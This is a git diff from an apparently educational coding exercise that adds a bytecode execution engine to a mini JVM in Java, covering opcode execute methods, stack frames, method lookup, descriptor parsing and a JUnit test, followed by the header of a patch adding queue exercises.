diff --git a/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java b/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
index 111cb247d3..f5698f0dd1 100644
--- a/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group12/382266293/src/com/coderising/jvm/clz/ClassFile.java
@@ -5,6 +5,7 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.field.Field;
 import com.coderising.jvm.method.Method;
@@ -134,19 +135,20 @@ public Method getMethod(String methodName, String paramAndReturnType){
 		
 		return null;
 	}
+	
 	public Method getMainMethod(){
 		
-		for (Method m : methods) {
-			
-			int nameIndex = m.getNameIndex();
-			int descriptorIndex= m.getDescriptorIndex();
-			String name = ((UTF8Info)pool.getConstantInfo(nameIndex)).getValue();
-			String desc = ((UTF8Info)pool.getConstantInfo(descriptorIndex)).getValue();
-			if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
-				return m;
-			}		
-		}
-		
-		return null;
+		return getMethod("main", "([Ljava/lang/String;)V");
+
 	}
+	
+	public Method getMethod(MethodRefInfo methodRef){
+
+		String methodName = methodRef.getMethodName();
+		String paramAndReturnType = methodRef.getParamAndReturnType();
+	
+		return getMethod(methodName, paramAndReturnType);
+
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
index cd0fbd4848..b4682ad51d 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -3,6 +3,10 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class BiPushCmd extends OneOperandCmd {
@@ -18,6 +22,14 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
 	
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result){
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
+		
+	}
+
 	
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
index a3abeacc82..eec01a4cd7 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public abstract class ByteCodeCommand {	
@@ -14,6 +16,41 @@ public abstract class ByteCodeCommand {
 	ClassFile clzFile;	
 	private int offset;
 	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+	
 	private static Map<String,String> codeMap = new HashMap<String,String>();
 	
 	static{
@@ -124,5 +161,5 @@ public String getReadableCodeText(){
 		return txt;
 	}
 	
-	//public abstract void execute(StackFrame frame,FrameResult result);
+	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
index 2e6061edd2..70a44b9bae 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -2,6 +2,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class GetFieldCmd extends TwoOperandCmd {
@@ -16,7 +20,17 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
-	
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
+		
+		frame.getOprandStack().push(fieldValue);
+
+	}
 	
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
index e6cf9d5960..1a1332b7e4 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -5,6 +5,10 @@
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
@@ -19,5 +23,21 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsField(pool);
 	}
+	
+	@Override	
+	public void execute(StackFrame frame,ExecutionResult result) {
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
+		
+		if("java/lang/System".equals(className) 
+				&& "out".equals(fieldName) 
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
+		//TODO 处理非System.out的情况
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
index ac228d0e4d..07af9a6a95 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -3,6 +3,10 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.MethodArea;
+import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
 
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
@@ -18,6 +22,23 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsMethod(pool);
 	}
 
-	
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {		
+		
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		// 我们不用实现jang.lang.Object 的init方法
+		if(methodRefInfo.getClassName().equals("java/lang/Object") 
+				&& methodRefInfo.getMethodName().equals("<init>")){
+			return ;
+			
+		}
+		
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
+
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
index c15d827797..362006f04a 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -2,6 +2,12 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.MethodArea;
+import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
 
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
@@ -16,6 +22,66 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsMethod(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		//先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+		
+		// 我们没有实现System.out.println方法，  所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。 
+		if(isSystemOutPrintlnMethod(className,methodName)){
+			JavaObject jo = (JavaObject)frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------"+value+"----------------");
+			
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+			
+			return;
+		}
+		
+		//注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+		
+		MethodArea ma = MethodArea.getInstance();
+		
+		Method m = null;
+		
+		String currentClassName = jo.getClassName();
+		
+		while(currentClassName != null){
+			
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+			
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(), 
+					methodRefInfo.getParamAndReturnType());
+			if(m != null){
+				
+				break;
+				
+			} else{
+				//查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}	
+		
+		if(m == null){
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+		
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		
+		result.setNextMethod(m);
+	}
+
+	private boolean isSystemOutPrintlnMethod(String className, String methodName) {
+		return "java/io/PrintStream".equals(className) 
+				&& "println".equals(methodName);
+	}
 	
 	
 
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
index ffb66f811c..6fee3f6ef6 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -4,6 +4,10 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
@@ -26,4 +30,23 @@ public String toString(ConstantPool pool) {
 		
 	}
 	
+	public void  execute(StackFrame frame,ExecutionResult result){
+		
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
+		
+		
+	}
+	
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
index 33813b5d59..3a6f062803 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -1,7 +1,12 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
 	
@@ -15,5 +20,19 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsClassInfo(pool);
 	}
 
+	public void execute(StackFrame frame,ExecutionResult result){
+		
+		int index = this.getIndex();
+		
+		ClassInfo info = (ClassInfo)this.getConstantInfo(index);
+		
+		String clzName = info.getClassName();
+		
+		//在Java堆上创建一个实例
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+		
+		frame.getOprandStack().push(jo);
+		
+	}
 	
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
index 56c28fefe2..2c41ca7827 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -2,6 +2,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
 
@@ -15,9 +19,130 @@ public String toString(ConstantPool pool) {
 	}
 
 	
-	
+	@Override
 	public  int getLength(){
 		return 1;
 	}
+	
+
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		String opCode = this.getOpCode();
+		
+		if(ByteCodeCommand.aload_0.equals(opCode)){
+		
+			JavaObject jo = frame.getLocalVariableValue(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if(ByteCodeCommand.iload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if (ByteCodeCommand.iload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}  else if (ByteCodeCommand.iload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if (ByteCodeCommand.fload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}
+		else if (ByteCodeCommand.voidreturn.equals(opCode)){
+			
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+			
+		} else if(ByteCodeCommand.ireturn.equals(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.freturn.equals(opCode)){
+			
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+		
+		else if(ByteCodeCommand.astore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+		    frame.setLocalVariableValue(1, jo);
+		    
+		} else if(ByteCodeCommand.dup.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_0.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_1.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.istore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(1, jo);
+			
+		}  else if(ByteCodeCommand.istore_2.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(2, jo);
+			
+		} else if(ByteCodeCommand.iadd.equals(opCode)){
+			
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+			
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+			
+			frame.getOprandStack().push(sum);
+			
+		} else if (ByteCodeCommand.aconst_null.equals(opCode)){
+			
+			frame.getOprandStack().push(null);
+			
+		} 
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+		
+		
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
index 85bb369c19..3ef736b39e 100644
--- a/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -1,7 +1,13 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
@@ -15,5 +21,23 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {	
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
+		
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+		
+		objectRef.setFieldValue(fieldName, fieldValue);
+		
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java b/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
index 05882cd5f2..267abbf577 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -13,9 +13,6 @@ public MethodRefInfo(ConstantPool pool) {
 		super(pool);
 	}
 
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
 
 	public String getClassName() {
 		ConstantPool pool = this.getConstantPool();
@@ -29,6 +26,11 @@ public String getMethodName() {
 		return typeInfo.getName();
 	}
 
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
 	public int getNameAndTypeIndex() {
 		return nameAndTypeIndex;
 	}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java b/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java
index 8f6c51e52a..73ba9f51b1 100644
--- a/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java
+++ b/group12/382266293/src/com/coderising/jvm/engine/ExecutionResult.java
@@ -21,8 +21,6 @@ public void setNextMethod(Method nextMethod) {
 		this.nextMethod = nextMethod;
 	}
 
-	
-	
 	public void setNextAction(int action){
 		this.nextAction = action;
 	}
diff --git a/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java b/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java
index 5d6b582879..7e1f5c1261 100644
--- a/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java
+++ b/group12/382266293/src/com/coderising/jvm/engine/ExecutorEngine.java
@@ -1,6 +1,7 @@
 package com.coderising.jvm.engine;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.List;
 import java.util.Stack;
 
@@ -15,20 +16,57 @@ public class ExecutorEngine {
 	private Stack<StackFrame> stack = new Stack<StackFrame>();
 	
 	public ExecutorEngine() {
-		
+
 	}
 	
 	public void execute(Method mainMethod){
 		
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
 		
-		
+		while(!stack.isEmpty()) {
+			
+			StackFrame frame = stack.peek();
+			
+			ExecutionResult result = frame.execute();
+			
+			if (result.isPauseAndRunNewFrame()) {
+				
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);
+				setupFunctionCallParams(frame,nextFrame);
+				
+				stack.push(nextFrame);	
+				
+			} else {
+				
+				stack.pop();
+			}
+			
+		}
 	}
 	
 	
 	
 	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
 		
+		Method nextMethod = nextFrame.getMethod();
+		
+		List<String> paramList = nextMethod.getParameterList();
+		
+		int paramNum = paramList.size() + 1;
+		
+		List<JavaObject> params = new ArrayList<JavaObject>();
+		
+		while(paramNum > 0) {
+			params.add(currentFrame.getOprandStack().pop());
+			paramNum--;
+		}
+		
+		Collections.reverse(params);
 		
+		nextFrame.setLocalVariableTable(params);
 		
 	}
 	
diff --git a/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java b/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java
index 83bb42f65f..42f3a71f28 100644
--- a/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java
+++ b/group12/382266293/src/com/coderising/jvm/engine/MethodArea.java
@@ -63,13 +63,18 @@ public  ClassFile findClassFile(String className){
 	
 	public Method getMethod(String className, String methodName, String paramAndReturnType){
 		
-		return null;
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMethod(methodName, paramAndReturnType);
 	}
 	
 	
-	public Method getMethod(MethodRefInfo methodRef){		
+	public Method getMethod(MethodRefInfo methodRef){
+		
+		String className = methodRef.getClassName();
+		ClassFile clzFile = this.findClassFile(className);
 		
-		return null;
+		return clzFile.getMethod(methodRef);
 			
 	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java b/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java
index 443524cc5f..de8961cac0 100644
--- a/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java
+++ b/group12/382266293/src/com/coderising/jvm/engine/MiniJVM.java
@@ -7,21 +7,21 @@
 
 public class MiniJVM {
 	
-	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
-		
+	public void run(String[] classPaths, String className) throws FileNotFoundException, IOException {
+
 		ClassFileLoader loader = new ClassFileLoader();
-		for(int i=0;i<classPaths.length ; i++){
+		for (int i = 0; i < classPaths.length; i++) {
 			loader.addClassPath(classPaths[i]);
 		}
-		
-		MethodArea methodArea= MethodArea.getInstance();
-		
+
+		MethodArea methodArea = MethodArea.getInstance();
+
 		methodArea.setClassFileLoader(loader);
-		
+
 		ExecutorEngine engine = new ExecutorEngine();
-		
+
 		className = className.replace(".", "/");
-		
+
 		engine.execute(methodArea.getMainMethod(className));
 	}
 	
diff --git a/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java b/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java
index 5ac8768316..435f025831 100644
--- a/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java
+++ b/group12/382266293/src/com/coderising/jvm/engine/StackFrame.java
@@ -64,7 +64,42 @@ public int getNextCommandIndex(int offset){
 	}
 	
 	public ExecutionResult execute(){
-		return null;
+		
+		ByteCodeCommand[] cmds = m.getCmds();
+		
+		while(index < cmds.length){
+			
+			ExecutionResult result = new ExecutionResult();	
+			//缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+			
+			System.out.println(cmds[index].toString());
+			
+			cmds[index].execute(this,result);
+			
+			if(result.isRunNextCmd()){
+				index++;
+			}
+			else if(result.isExitCurrentFrame()){
+				return result;
+			}
+			else if(result.isPauseAndRunNewFrame()){
+				index++;
+				return result;
+			}					
+			else if(result.isJump()){
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else{
+				index++;
+			}
+			
+		}
+		
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
 		
 	}
 
diff --git a/group12/382266293/src/com/coderising/jvm/method/Method.java b/group12/382266293/src/com/coderising/jvm/method/Method.java
index 2bb53cdf06..46322f16e8 100644
--- a/group12/382266293/src/com/coderising/jvm/method/Method.java
+++ b/group12/382266293/src/com/coderising/jvm/method/Method.java
@@ -1,5 +1,8 @@
 package com.coderising.jvm.method;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.clz.ClassFile;
@@ -107,4 +110,67 @@ public String toString() {
 		
 		return buffer.toString();
 	}
+
+	public List<String> getParameterList() {
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+		
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);		
+		
+		List<String> paramList = new ArrayList<String>();
+		
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+		
+		while(!param.equals("")){
+			
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+				
+				int end = param.indexOf(";");
+				
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+				
+				pos = end + 1; 				
+				
+			} 
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+				
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+				
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+			
+			param = param.substring(pos);
+			
+		}
+		return paramList;
+		
+	}
+
+	
+	private String getParamAndReturnType() {
+		
+		UTF8Info nameAndTypeInfo = (UTF8Info)this.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/test/MiniJVMTest.java b/group12/382266293/src/com/coderising/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..88de6c179e
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/test/MiniJVMTest.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = "C:\\Users\\steve\\workspace\\coding2017n\\group12\\382266293\\bin";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+		
+	}
+
+}

From 7188081fa793719c40d97e6bbf73bafb199c3b92 Mon Sep 17 00:00:00 2001
From: Haochen <haochen_233333@163.com>
Date: Sun, 30 Apr 2017 14:03:20 +0800
Subject: [PATCH 140/262] jvm executing engine & queue questions

---
 .../algorithm/expression/PostfixExpr.java     |   2 +-
 .../main/java/algorithm/expression/Token.java | 248 +++++++++---------
 .../algorithm/expression/TokenParser.java     |   2 +-
 .../java/algorithm/queue/CircleQueue.java     |  75 ++++++
 .../main/java/algorithm/queue/Josephus.java   |  31 +++
 .../java/algorithm/queue/JosephusTest.java    |  27 ++
 .../src/main/java/algorithm/queue/Queue.java  |  61 +++++
 .../algorithm/queue/QueueWithTwoStacks.java   |  52 ++++
 .../main/java/datastructure/basic/Queue.java  |  56 +---
 .../code/src/main/java/jvm/LiteJvm.java       |  25 --
 .../main/java/jvm/classfile/AccessFlag.java   |  13 +-
